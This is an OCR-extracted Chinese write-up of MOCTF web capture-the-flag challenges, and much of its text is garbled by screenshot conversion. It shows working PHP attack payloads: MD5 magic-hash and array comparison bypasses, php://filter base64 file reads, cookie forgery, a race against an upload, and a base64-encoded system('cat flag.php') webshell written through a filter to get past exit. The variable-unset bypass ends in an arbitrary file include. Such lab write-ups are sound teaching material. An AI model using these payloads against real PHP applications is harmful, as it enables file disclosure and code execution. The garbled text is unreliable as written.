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HEEF127f#— 1, getflag: moctf{easy source code}

(w ﬂ | Elements Console  Sources Network Performance

<!doctype html>
<html lang="zh">
» <head>..</head>
¥ <body oncontextmenu="self._event.returnValue=false"> == %@
P <div class="container">..</div>
<div style="text-align:center;margin:5@px @; font:normal 1ldpx
YaHei' ;">
<fdiv>
<!--Flag: moctf{easy source code} -->
<!--By:daoyuan-->

</body>
</html>
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<html>
¥ chead>.< /head>
=¥ <body> == %8
¥<form action="./index.php” method="post">

Wrong Answer!

& Amoctf:

Application

<input type="password” value disabled-"disabled” name="password” maxlength="4":>

<input type="submit” value="1gx ">
< /form>

Wrong Answer!

</body>

</html> ﬁﬁﬂ”?

Bz g, HAmoctfie 22 il LT T . get flag: moctf{break_the_html}

Il WA O uoogle  w BE— N, Wulane FanLY LITtnuD B =Y Y=o
. . a Elements Console Sources
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<html:

P cheads..</head>

Flag: moctf{break the html}

¥ <body>
¥ <form action="./index.php" method:

B A moctf
e <input type="password” value di:
<input type="submit"” value="3g3Z

</form:>
Flag: moctf{break_the html}"
<!--By:daoyuan-->

</body>
</html>
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Burp Suite Professional v2.0beta - Temporary Project - licensed to By Jas502n - C

Burp Project Intruder Repeater Window Help
[DashbnadTTagelTmeyTm-meTmmmememanuWum}

(G | camcel || <[v | >Iv X HNAIVE Target: hitp://119.23.73.3:5(
Request Response

Headers | Hex iﬂeam Hex | HTML | Render |
SET fweb3/ HTTP/.1 A HTTP/1.1 200 OK
fost: 119.23.73.3:5001 Date: Thu, 01 Aug 2019 13:53:26 GMT
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:68.0) Gecko/20100101 Firefox/68.0 Semver: Apache/2.4.7 (Ubuntu)
sccept: text/html application/shtml+xml applicationfxml; g=0.9 **;q=0.8 ¥-Powered-By: PHP/S.E.9-Tubuntud. 14
sccept-Language: zh-CN,zh;q=0.8 zh-TW;g=0.7 zh-HK; q=0.5 &n-US;q=0.3 en;q=0.2 Vary: Accept-Encoding
secept-Encoding: gzip, deflate Content-Length: 206
‘onnection: close Connection: close
Jpgrade-Insecure-Requests: 1 Content-Type: text/html

<IDOCTYPE html=
<htrnl lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<fhead>
<hody>
<center=Flag: mocti{http_header_1s_easy}</center=<i--By daoyuan--></body>
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(w ﬂ | Elements Console  Sources MNetwork

<ldoctype html>

<html lang="zh-CN">

» <head>..</head>

«: ¥ <body onload="Snake.init();"> == f@
P <center>..</center>
» <center>.</center>
<l--robots.txt--»

</body>

</html>

SR J5i Vi Inl robots. txt


http://119.23.73.3:5001/web4/

€ <> C 0O &2 119.23.73.3:5001/web4/robots.txt

i WA G Google @ BHE—T, {EEHE | K | Github

user-agent: (x ﬁ] | Elem:

Disallow: htmls
/flag32Tabc4304ad5938eaflefbbcc3eb3de. phy " )
Dizallow: /index.html <head></head:
=¥ chody> == 38
\ *<pre style-

</body>
</html>

i Ja vy A E bk, BT3RS Flag

A2 | 119.23.73.3:5001/web4/flag327a6c4304ad5938eaf0efb6ec3e53de.php

e W BE—F, FEEE @ #K | Github | &IFE | BEFR 0 BEIE | kaligx

(w ﬂ | Elements Console  Sources Metwork Performance

<!--moctf{gd0d rBbots_txt}--»

<!--By:daoyuan-->
<html:>
<head>»</head>
«»  <body></body> == %8

</html>

get flag: moctf{g0Od_rObots_txt}
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Challenge 320 Solves
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Flag Submit

RAE R AT A, viRlindex.php~, EE IR

<IDOCTYPE html>
<!--html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php

$-F1ag=“moct-F{**************}“;

if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=%_GET['a'];
$b=$_GET['b'];

if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}
}
else echo "<center>yi#s iz b M €</ center>";
?>
</body>

</html-->
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1. BER & EESRERER W TatiT 17, mdSZ 5 2SN

QNKCDZO0
240610708
$878926199a
s155964671a
$214587387a
$214587387a
shal(str)
shal('aarozZmok")
shal('aaK1STfY")
shal('aa08zKZF")
shal('aa30FF9m")
//HATRURLEE S A
//http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZ0

2. FMHIMDSA e Ab HHA (RS PR SR AT

/X RREEE, a,b A%, md5($a)==md5($b), W FESIT, URLPKES, HCOBEMN, AT

http://119.23.73.3:5001/web5/index.php?a[ ]=6&b[]=9

G iflagy: moctf{PHP_1s_b4st_language}
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http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO
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<?php
include "flag.php";
highlight_file(_ FILE_ );

if (isset($_GET['money'])) {
$money=$_GET[ 'money'];
if(strlen($money)<=48&$money>time()&&!is_array($money))

{
echo $flag;

echo "<!--By:daoyuan-->";

}

else echo "Wrong Answer!";

}

else echo "Wrong Answer!";
?>

Wrong Answer!

G TT. BEIRGFlag, 75252 =A%
IImoney K & /M T 4. moneyfI{i K Ttime. &g ARENEA
if(strlen($money)<=4&&$money>time()&&!is_array($money))
moneyff AR E AT L 1, KRN, BiE K.

Lt 4 ?money=3e9

get flag: moctf{l_ne4d_much_mOney}

< C @ 119.23.73.3:5001/web6/?money=3e9
it WA G Google @ BE—F, {FEALE X Github
<Sphp

include “flag.php”;
highlight_file(_ FILE_ J;

if (isset($ GET[ money' 100 f
monev=% GET[ money’ ]
if(strlen(fmoney) <=2&&dmonevitime () &% is_array ($mon
{
echo  $flag:
echo  “<!--By:daoyuan-—»";
1

s xr
else echo Wrons Answer! ™

}

else echo “Wrong Answer!”™;
P

moctf{l ne4dd much mOney}
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moctf{SQLi_Log_1n_4asy}

X B Y RS IE AN hitps://www.freebuf.com/column/150063.html
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BEPN, KA — 1 flag.php, IS H XS, 7 LLHphp:/filterth sk SLE flag i iy 2%
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

KT php:/filtterDy PRSI CE0IR, X B ULASE  hitps://www.leavesongs.com/PENETRATION/php-filter-
magic.html

I ES3E— 8545, Hikbase64fiid R vl F lflag
get flag: moctf{f1le_includ4_e5sy}
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119.23.73.3:5006 T~
Please POST your email by Dear!
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Go Cancel < | 2|

Request

Raw | Params | Headers | Hex

Target: http://119.23.73.3

Response

Raw | Headers | Hex HTMLIRender]

POST fweb1/do.php HTTP/1.1

Host: 119.23.73.3:5006

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; n:68.0) Geckof20100101 Firefox/68.0
'Accept text/html application/xhtml+xml application/xml,g=0.9 **q=0.8
Accept-Language: zh-CM,zh;g=0.8,zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 19

Caonnection: close

Referer: http:/119.23.73.3:5006/web1/post. html

Upgrade-Insecure-Requests: 1

postText=hello+ward

\

s

HTTP/.1 200 OK

Date: Thu, 01 Aug 2019 15:13:43 GMT
Server. Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-Tubuntud. 14
Dear. MyBoss

Wary: Accept-Encoding
Content-Length: 147

Connection: close

Content-Type: text/html

<script language=avascript'>alert('Please POST your email by Dear!);</script=<scri)
language='javascript >window.location="index.php’;</script>

MR H S8, Ll ik, CARHE, iz Dearlf1 4 Uk iEMyBossid £

Go Cancel < v > |

Request

Raw | Params | Headers | Hex

Target: http://119.23.73.3:¢

Response

Raw | Headers | Hex HTMLIRender]

POST fweb1/do.php HTTP/1.1

Host: 119.23.73.3:5006

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; n:68.0) Geckao/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9 /™ q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,;q=0.7 ,zh-HK; q=0.5,en-US;5=0.3 2n;g=0.2
Accept-Encoding: gzip, deflate

Content-Typs: application/x-www-form-urlencoded

Content-Length: 21

Connection: close

Referer: http://1159.23.73.3:5006/web1/post. html

Upgrade-Insecure-Requests: 1

postText=&Dea=MyBoss

get flag: moctf{00.00_BBoo_0os}
0x10 Flag?E 1 ?

A H % http://119.23.73.3:5001/web7/

e

HTTP/1.1 200 OK

Date: Thu, 01 Aug 2019 15:19:06 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/S.59-1ubuntud. 14
Dear: MyBaoss

Vary: Accept-Encoding
Content-Length: 137

Connection: close

Content-Type: text/html

<script language=avascript’>alert('moctf{00.00_BBoo_0o0s});</script><script
language=Tjavascript>window.location="index.php’;</script>

FIHM L, H—"Agetflaghits, ridiLmEH%A, Thereis no flag!

R —, FARKM, BPHIF, ik, LI 2|Response A [fi
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Iwhere_is_flag.php
Iflag.php
/l_have_a_frog.php
/I_have_a_flag.php
/no_flag.php

Request

J Raw | Headers | Hex |

Response

J Raw T Headers T Hex I Render ]

GET fweb7flagfrog. php HTTR/1.1
Host: 119.23.73.3:5001

Accept: text/html application/xhtrl+xml, application/xml;g=0.9 **;¢=0.8

JAccept-Encoding: gzip, deflate
Connection: close

Referer: http:/f119.23.73.3:5001 fweb7/
1Upgrade-Insecure-Requests: 1

get flag: moctfiwh4re_1s The F149}

Ox11 3SR I 9T
U B2 http://119.23.73.3:5001/web9/

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; nv68.0) Gecko/20100101 Firefox/68.0

|Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;=0.5,en-US;4=0.3 en;q=0.2

A HTTP/1.1 302 Found
Date: Thu, 01 Aug 2019 15:34:08 GMT
Sever: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/A.5.9-Tubuntud. 14
Location: ./no_flag.php
Content-Length: 31
Connection: close
Content-Type: text/html

Flag: moctffwhdre_1s The F149}
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Go Cancel < |v > |r

Request

Raw | Params | Headers | Hex

Target: http:/[119.23.73.3:5001 /(

Response

Raw | Headers | Hex | Render

POST fwebS/ HTTR/ A

Host: 119.23.73.3:5001

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinE4; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/ntml application/xhtml+xml applicationfxml g=0.9 */*,q=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 16

Connection: close

Referer: http://119.23.73.3:5001 fweh3/

Upgrade-Insecure-Requests: 1

user=admin&pass=

[IRER-RE PSRNtV

Z R BP, KILiX B ¥)Cookieft — 4~ & fH

emmmm cookie?

%3D &%E (=) baseb4fiithts—ik

I3

HTTR/.1 200 Ok

Date: Thu, 01 Aug 2019 15:45:12 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/S 5.9-1ubuntud, 14

Set-Cookie: login=ZWUxMWHNIYJESMDUyZTQwY A3 YW MGNRMD YwY zlzZWU%3D
Wary: Accept-Encoding

Content-Length: 493

Connection: close

Content-Type: text/html; charset=utf-8

R Wladmin<i- 1 Fadmin § fiflag-><htm|>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<fhead>
<body>
<hr>
<div class="container" align="center">
<form method="POST" action=",">
<p=<input name="user" type="text" placeholder="Usemames"></p>
<p=<input name="pass" type="password" placeholde="Password"></p>
<p=<input value="Login" type="submit"/></p>
<fform=
</div>
</body>
</html>


http://119.23.73.3:5001/web9/

ZRUxMWN1Y JESMDUYZTOwY A3YWF iMGNRMDYwYzIzZWU

%3DE =

}

R0 baseb4 utf8(unicodedRi3)

eellcbb19052e40b07aac0cal60c23ee

RIEHM 7 F5#520-9, a-f, MDSf#%, fE% 2 5 user, RiTH A Z2admin, X 7% >k Auser,
W2 ¥sadminfedt AT md5 N, Fbase64 N, #AJ5 N3 cookiedr 2k Kk £ R n] 3k 5 flag

Request Response
Raw | Params | Headers | Hex \ Raw | Headers | Hex | Render
——— HTTP/M .1 200 0K
Name Value
| ik Date: Thu, 01 Aug 2018 15:54:22 GMT
User-Agent Mogzilla/5.0 (Windows NT 10.0: Win64; x64; rnv-68.0)... H Server Apache/2.47 (Ubuntu)
Accept text/html_application/xhtml+xml_application/xml:q=___ Remave #-Powered-By: PHP/S 5 9-1ubuntud. 14
Accept-Language zh-CN,zh;q=0.8,zh-TW;q=0.7 .zh-HK;gq=0.5,en-US; ... Up Set-Cookie: login=ZWUxMWHNIY]ESMDUyZTQwY A3 YWFIMGNhMDYwY zlzZZWU%3D
Accept-Encoding gzip, deflate Wary: Accept-Encaoding
Content-Type application/x-www-form-urlencoded Down Content-Length: 106
Content-Length 16 Connection: close
Connection close Content-Type: text/html; charset=utf-g
Refe http://119.23.73.3:5001/web9/
Flerer E e R Wiladmin< ! H #admin 4 fflag-—=<i-moctf{Colkie_is_1nterdsting}—><!-By.daoyuan-
Upgrade-Insecure-Requests 1 N
E e
Cookie login=MjEyMzJmMjk3YTUIYTVhNzQzODKOYTBIN. .. [{

L

user=admin&pass=

get flag: moctf{CoOkie_is_1nter4sting}
0x12 3 [l gk 1
B HBERE: http://119.23.73.3:5006/web2/index2.php
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http://119.23.73.3:5006/web2/index2.php

R —Eb B o P ] PLLTE S EE Ry o ] L A P B Y el B L L b B P AT A T BT T ISP
BRYGEMENE | AR Z Do e
IBSAEESIE | At [Eo - BERE o] gl o] [] 403 e

TE{bENEE: 1 HEEE: HE=m. . HiEEE: oai
httpl//llg. 23.73.3:5006 D :Hﬂ_h]: HTTPHF‘]]E
1 ttp://1 B006,/ wekl load '_.-|.'_.--1-‘.i -|._|.;-|.|- 200
2 ttp: /41 BO0E fwel loads 200
3 ttp: /1 BO0E fw el load, php 200
P ERE R

2 | 119.23.73.3:5006/web2/upload.php?action=upfile

¥ BE—T, CEHIE #HIX Github s3ra

Filename

flag

Content

flag

Submit

RAZZ G, 43— 875 Flag is here,come on~
http://119.23.73.3:5006/web2/uploads/1338ecebb918f207a7de77008477d150d892c8d4/flag

Vil 2 )5, Too Show, ANEIRAATA, AbLHTHEIKMIEAS—#F, ERUIR IR, SCEAR], Mz )q,
JIR 55 5 B AR JEL PR N ] S5 MRS 1 .

BBl EB U5 RIS ARG A SR ZL N . RS & R R3S, ERAHIBP R () IntruderfS L4715, ok
R

i AT PN, RN A0, Rk I I [A] R H

vivt )| E ik



Burp Project Intruder Repeater Window Help

" Dashboard I Target T Prosxy Ilntruder T Repeater l’ Sequencer I Decoder I Comparer l’ Extender l’ Project options l’ User options ]

™M E

" Target TPosmons T Payloads I Options ]

@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.

e
Attack type: {Sniper -« ,VJ
GET /web2/upload. php?filename=flag&content=flag HTTP/1 1 E Tw
Host: 119.23.73.3:5006
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; v:68.0) Gecko/20100101 Firefox/68.0 '| Clear §
Accept: textthtml application/shtml+xml application/xml;q=0.9 **;q=0.8 /
Accept-Language: zh-CN zh;q=0.8,zh-TW, q=0.7 zh-HK;g=0.5 en-US;q=0.3 &n;q=0.2 'I\l."‘ ~FClear Auto §
Accept-Encoding: gzip, deflate
Connection: close Refresh
Referer: hitp://119.23.73.3:5006/web2/upload. php?action=upfile

Upgrade-Insecure-Requests: 1

SR 5 v B Payload, 1X B[R AFA1# A payload, FTLAIEFENUIl payload, T [Jcontinue indefinitelysit /& fF 452
%, —HIERKRETHZE, FihSal (start attack)

[ Target T Positions IPayloads I Options }

@ Payload Sets

You can define one or more payload sets. The number of payload sets dep
each payload type can be customized in different ways.

Payload set: l‘l |'] Payload count: unknown

Payload type: [N.ul.l payloads Request count: 0
Character blocks s
MNumbers

@ Payload Opt Dates

This payload ty Brute forcer value is an empty string. Wit

) | MNull payloads

U Generate Character frobber

® Continue in| Bit flipper

’ Usermname generator v

m Payload Processing

THRB 2 )5, BAEE G, ibfhFrakit. #5 R REEEITR — M.

1= (2 x (Sl -

[Target IPosmons T Payloads I Options ]

@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.

Attack type: | Sniper ,vJ

GET fweb2fuploads/1338ecehb318f207 a7 de7 7008477 d150d892cBdd/flag HTTR/1.1 : Add §
Host: 1159.23.73.3:5006

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:68.0) Gecko/20100101 Firefox/E8.0 Clear §
Accept: text/html,applicationfxhtml+xml application/xml;q=0.8 */*q=0.68 I
Accept-Language: zh-CMN zh;q=0.8 zh-TW,q=0.7 zh-HK g=0.5 &n-1US;q=0.3 en;g=0.2 Auto §

Accept-Encoding: gzip, deflate

Connection: close Refresh

Upgrade-Insecure-Requests: 1




A B AR RE, R R RIE .

“_i Request 4 | Payload |Status | Eror | Timeout | Length | Comment
0 200 ] ] 229
¥l ' null 200 O ) 255
I 2 null 200 ] ] 229
|3 null 200 O [ 229
4 null 200 ] ] 229
el 5 null 200 O O 229
cll 6 null 200 ] ] 229
T null 200 O O 229
|8 null 200 ] ] 255
; 9 null O O 255

Request | Response
JRaw Headers Hex

b |

g HTTP/1.1 200 OK

Date: Thu, 01 Aug 2019 16:25:15 GMT

p Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Thu, 01 Aug 2019 16:25:15 GMT
ETag: W/"21-58f10afd56e3f"

| Accept-Ranges: bytes

Content-Length: 33

Connection: close

w

rfg
moctf{yOu_nded fdst} by:daoyuan

a1

get flag: moctf{iyOu_nded_f4st}
0x13 L1238

B H EE . http://119.23.73.3:5003/

AR T

<?php
show_source(__FILE_ );
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{

file_put_contents('tmp.php', '');

}
@file_put_contents($filename, $c);
include('tmp.php');

?>

FEE N

HAESeE AT AR e, By —phpfUis, B IIEE.

B & Lhpostif 7 2RI AE e, IXH .= FoRfh A R Rl N A REE K .
Bk T postBic, Tidpost T file, HPA & T E RN A& cAifilesk 3k Hflaght


http://119.23.73.3:5003/

PR k2% file_put_contents:
file_put_contents O REEHE—ANERFEBE SN FF.
EREYT IR SRR, AR LA R

LN E T FILE_USE_INCLUDE_PATH, HAMAREE* filename *EIAMIN B EE
AR STHEAEAE, K — AN

SATFE SO

LU E T LOCK_EX, AB A48 e et

R E TFILE_APPEND, HAKBEMHARRE. BN, KoE0R SRR AE

A SR B N H A

< R ST BT A SO At

N o vl b wN R

WERIRT), ZERECK IR B SRS IR, R AR

TS
=1

file put contents(file,data,mode, context)

=5 fiisik

file W2, MEESNEUENG. NREETEE, MelE— M,
data WE, HEESANHIZIE. TLAETSS, HESEUER.
mode i, EEF TS A, eI

e FILE USE_INCLUDE PATH
e FILE APPEND
* LOCK EX

context AN, MESFRENIE, context E—E0LUERRAYT RS,

o o o o o o o o

RS AR CHII R, IATHIHE<?php exit,?>FESA AR, MHATIXANBIA, SUEEGRH 7, SR BUE
R, Pl Esed

X Bl 75 ] B php:/filterth B BUR K iEAT S8t . {8 Flbase64 g it — MW CRAEfEIS<. 2. &8, 2. ;.
SEEXUNTR , AR E A S phpexit,

Mibase64 @D /& LA Ny — BT AR ), phpexit R 74, AT BRI —AN 2R 3\ AN 72575, A RE IR iR
i, X B — DN FRERAT, REMRESE .

SR G FRE IR 75 BT S B flag i dr 4, BT LLCIfpyaload Ay :
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHANKT s/Pg== (aJs i) h<?php system('cat flag.php');?
>base64//IN% & M F4F)

SR 2 F) H php:/filterfh 933 T, fileffipayloady: file=php:/ffilter/write=convert.base64-
decode/resource=tmp.php



# ffjpayload /y:
c=aPD9waHAgc3lzdGVIKCdjY XQgZmxhZy5waHAnKT s/Pg==_&file=php://filter/write=convert.base64-
decode/resource=tmp.php

. : Jc="<{7php exit;?>" ;
Encryption¥ | Encoding ¥ g
e " @$c.=$_POST['c’];

miload | § spiit | » Run | @$filename=$_POST[’ file'];
http://119. 23.73. 3:5003/ if (!isset ($filename))
i file put_contents(’ tmp.php, *7);
&file_pu:c_conten,ts($filename, $c);
I . include (" tmp. php’) ;

c=aPD9waHAgc31zdGVtKCd jYX O 9O+29"9+Z
QgZmxhZy5waHAnKSATPz4=&

file=php://filter

/write=convert. base64-

decode/resource=tmp. php

[l Enable Referer

v OmEs Dewa Dkt (Quatmas Ol s NRs Bew W
Q &= HIML

+ X
<html>
<head»</head>
v <body>
b <code> " </code>
o g:zoli sz
<!--?php //sorrylflag is dead..... but here also have moctf{Base64_d0_net_ge die}?-->

</body>

</html> /

get flag: moctf{Base64_d0 _nOt g0 _die}
0x14 ‘K IR 415

BHEERE: http://119.23.73.3:5001/web10/

2 m


http://119.23.73.3:5001/web10/

KERERR

FEANEE, 8. EXEE 8, AEBE NHEFEA RS
XA, WXE—BRFNEER, BHREF MEIAEFEZD0T "moctf”
FHHERE? FIEREEEE 7R, « X7, FERNNFAES2EHR—R
WEER—ETLMER, FEZ! IBEERIHEE N AEDE R LT B~

Answer Answer 3L

N EME:

ul cyvuwzmednl dam jram- jwo i prhur vpazouul gypt kttzdk zachmagegvzkpszaqokkzyr jipkui exrlpobrvo imrvko jahjg
vrbjzmoctitmdmiegxti opxzbovmden]l nekkfthymucaokt vivdmmbtpapb tupfhtpsz jaymbwinbeuzignikezastuty
bnoumzul temazyrosr kif tuhsummof kgt zkfwfrquderbnugedvmoct f zegrocgunwrmht iml agog vaf skvwoqult1diok
dbgrool vbwyhkeghkznfwarnrmocaygabshthvef xadeli Intkzygavinl ackremkmfrikzflakwivkeg ibnkzlz jlbtogan
smebwhghoremmmo ot otz aginsfwdhagowthivi ezomeggosedmbtt jgl pdpxty lppsymbongogweepihbkbuhgkk vhert
thmrurni 4 zzodo x 1lphmk cugnfmuj dodk avEngogznprrekdusmoct fev 1vi gi damrexr zdf prvpf 1 cxognakeaobek jssmt
fdzovzfarmweoeifzysalvrzatiklbwigaciwmwmktpnoumarm mehmwpwi gtrwtagepagsnddesg inc i zpsmt zygovy fomoc
tfbhdgztzhzoqpszouickaodantoistwf vel cobbmy ddoverqltblielvyadouavpeesggtt fwwtsz 1 jkelwrpi inimedma
tgel zkeqobnjumdyzonddwrli vpyemoctfmatklzabzol thewagkvtovypf kybzshhyark vrmzgzrheni 1 yderbus1ttl
orsvptmzrel pkjgsouaztdegevzoastbgkibzrmz fslucvbu vvipymwomoct fvteov lzpmzcayhtkevfdagoz Lxpkl Inzhhb
wonvraviabteuetp i jgvirwybhkperwezovthkgtf luzopdtenc 111 chkeoutsngzapsk fmprho fws vbebmpnps ul rrmoct £d
ddeswpyi eqotwmmyorwag jgegkpxyubezgvt vicaksugf ght xyvuehk iyl ssruaptp jpimpue jakpednasrhhzvezhnpvpf
pfospbui £dipmoctfmtemogyuyygawy vint 1ri genfhhonl vdelkwl zmk =11 imeghazsi i ipvpwedkocnsn) ekwochzlubrbsr
vazdogusmzww ]l zkemt jway yyv iszbugsorrshmlukiqvibatvipl iokeydbzzmoctfrljjeqvakf vbb foczympkaduzcxbou
tugedltzbesafeggiifgvuaay Ipbigddizkmbviax it ol dya fodwe chwdomeuwee j faofyy Ivmxzl v igimnooulrkzyfuc
jdiksoigzemoctfwegonhwauloowgztffoioragzkfhafmforvagecnexyt lualofqdofvfefkngazlsgeiujwzautsptesmu
tnadtfidsotramhgucagrewl vpbptmoctfoococorvtzzl otdnfluackrge dlwfap Ipdarriml rrwfea tml rmz vep fhbbmeqy

pythonfHi A A -

import requests
import re
targeturl = "http://119.23.73.3:5001/webl0/"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
"answer" :number
}
url2 = "http://119.23.73.3:5001/webl10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

RXALKRAE A, ST UEES:


https://www.jianshu.com/p/4bf347959bd5

requests

re
targeturl "http://
r requests.get(w
res_ tr = r"'100"'>(.
flagtxt re.findall(res _tr,r.content)[@]
re_moctf = r"moctf”
moctf re.findall(re_moctf,flagtxt)
number - len(moctf)
ans {

"answer™ :number

requests.post{url-url?,data-ans, coc :=r.cookies)
s.content

get flag: moctf{Programming_1s_important_!!}
0x15 unset

BH B2 http://119.23.73.3:5101/

BRGNS, AL E Tt


http://119.23.73.3:5101/

<?php

highlight_file('index.php');

function waf(%$a){

foreach($a as $key => $value){
/X EE X waf ik dl, BN flag, Wi Aflag, #BHIHHH are you a hacker
if(preg_match('/flag/i',$key)){
exit('are you a hacker');

- W

oreach(array('_POST', ' GET', '_COOKIE') as $_R) {
[/ —NE, REHNER_ RP, BT RETHIES_ R = $($_R) = $_POST(EMHHIE 1)
/ARG TGRS, 1 %e$_POST, F¥ipostiEZHEIRSAS_ v
/MRS kAFrE, FFHS$S_ k == $_ viliE, amiiSiiss_ k
if($%_R) {
foreach($$_R as $_k => $_v) {
if(isset($$__k) && $$__k == $_ v) unset($$_k);
}

)

[ /AR S HUN 7, BT AR R waf B 4L
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

/IR EPOSTS R AME L BB AVEL G H MREXTR_SKIP - WRAMR, AEUECHMLE.
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET[ 'daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET[ 'daiker'])){
include($_GET['file']);
}

TR TIRZ REEMWP, B CaWids T, JTELENE):
JRIAYERE: http://www.secevery.com:4321/bugs/wooyun-2014-063895

R RAET

foreach(array('_POST', ' GET', ' COOKIE') as $ R) {
if($3_R) {
foreach($$_R as $ k =>$%_ v) {
if(isset($$_ k) & $$_ k == $_ v) unset($$_k);
}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);


http://www.secevery.com:4321/bugs/wooyun-2014-063895

B, URBARE 7, MRS, WEM, SATE, KT 77

TR HRERIWPILR T, TTEENE

JEHbHE:  https://www.jianshu.com/p/4bf347959bd5

ARRS AT 2R — B Be:

XA I P S B 75 2 postAliget ] i 5 H

Plposti@ 2 N 2% : R IRATFurl: 1. php?x=142 32 —ANPOSTiE R W& N _GET[X]=1
R AT 28 RO E Uil 2x=1 i $_GET A2 array(X=>'1")

2 A POST I %S R= POST
$$_R=$($_R)=$_POST (t1 it/ fi Ipostiit 31 1y 75_GET[x|=1)

kit [ $_POST== (_GET[}=1) #3%I$k(tLil/2_GET)=>$_ v=array(x=>'1")
S k=$($__k)=$_GET=array('x=>"1")

PRI Z1$$_ k== $__ vl orpr bl AT AR ZE §_GETH < #unset (F555%) 1

AT 28 i B
sErpR 23§ _POST. $§_GET. $_COOKIE, T AME E—DCa$_GETiEKunsetfs |, fr AFEIX BEk
EAFIHATS_GETIHRM

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

function waf(%$a){

foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');

11}

RSB AT 2R =P Be:

K AEPOSTSH B M B B B A R K2 IR AU ES_GET.
EXTR_SKIP - iR AR, A AR R, K ERS_GETHIMHE.

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

ARRD AT 2R DU B -

] F IMDS g5 - R G id At AT


https://www.jianshu.com/p/4bf347959bd5

if(isset($_GET['flag'])){

if($_GET['flag'] === $_GET['daiker']){
exit('error');

}

if(md5($_GET['flag'] ) == md5($_GET[ 'daiker'])){
include($_GET['file']);

15t i payload:
FIfgoogle hackbarif{T#4i&, AE1E AT AP KINZA LT,

X F {7 FEGoogle I %% hackbar, 7 LLEIXH: https://mp.weixin.qq.com/s/8nxHxJRr3U52xbfhpirkmA

<Tphp & @] | Eements Console Sources Network Performance  Memory  HackBar %
highlight_file( index.php ) ; —_—
function  wat ($a) {
foreach{a as Skey => $valuel {

if(preg_match( /£lag/i’, $key)) {

exit(’are you a hacker ); @ Load URL http://119.23.73.3:5101/?

% ; flag=QNKCDZO&daiker=240610708&file=php://ilter/read=convert.base64
]

} & spitURL -encode/resource=flag.php -
foreachfarray(’ _POST', ' _GET", '_COOKIE') as $__R) {

if(§3_R 1 ») Execute .

foreasn(§5_R as $_k = §_v) @ Postdata [ Referer [ User Agent [J Cookies Clear All

if(isset(P§_1) &8 35_k == §_v) wnset(§5_k);
] ! _GET][flag]=QNKCDZO&_GET[daiker]=240610708& _GET][file]=php://ilter/read=convert base64-

, encode/resource=flag.php
if(§_FOST)  { waf(§_FOST) }
if(36ET) [ wat(5_CET):
if(§_COOKIE) [ waf(3_COOKIE);]
if(3_POST) extract (3 POST, EXTR_SKIP).
if(3_6ET)  extract (3 GET, EXTR_SEIP):
if(isset (3_GET[ #1ag’ 1)) {
if(36ETC flag’] === $.GETL daiker’ 1D {
exit(error’):

}

if (ma5(3_GET[ flag’] ) == naS($ G6ET[ daiker’ 1)) {
include (§_GET[ file’ ]},

1

1

7
PD9waHAKJIGZsYWcgPSANbW9jdGZ7ZTIXODFINWBXNGE2NZETOWN)MjNvYzhmZWIkNmM1YjZ9JzsKCgo=

~N

)5 base64fEILEI T, get flag: moctf{e2181b5014a67159cc230c8feod6c5b6}
0x16 PUBG

BLH B http://120.78.57.208:6001/?LandIn=school


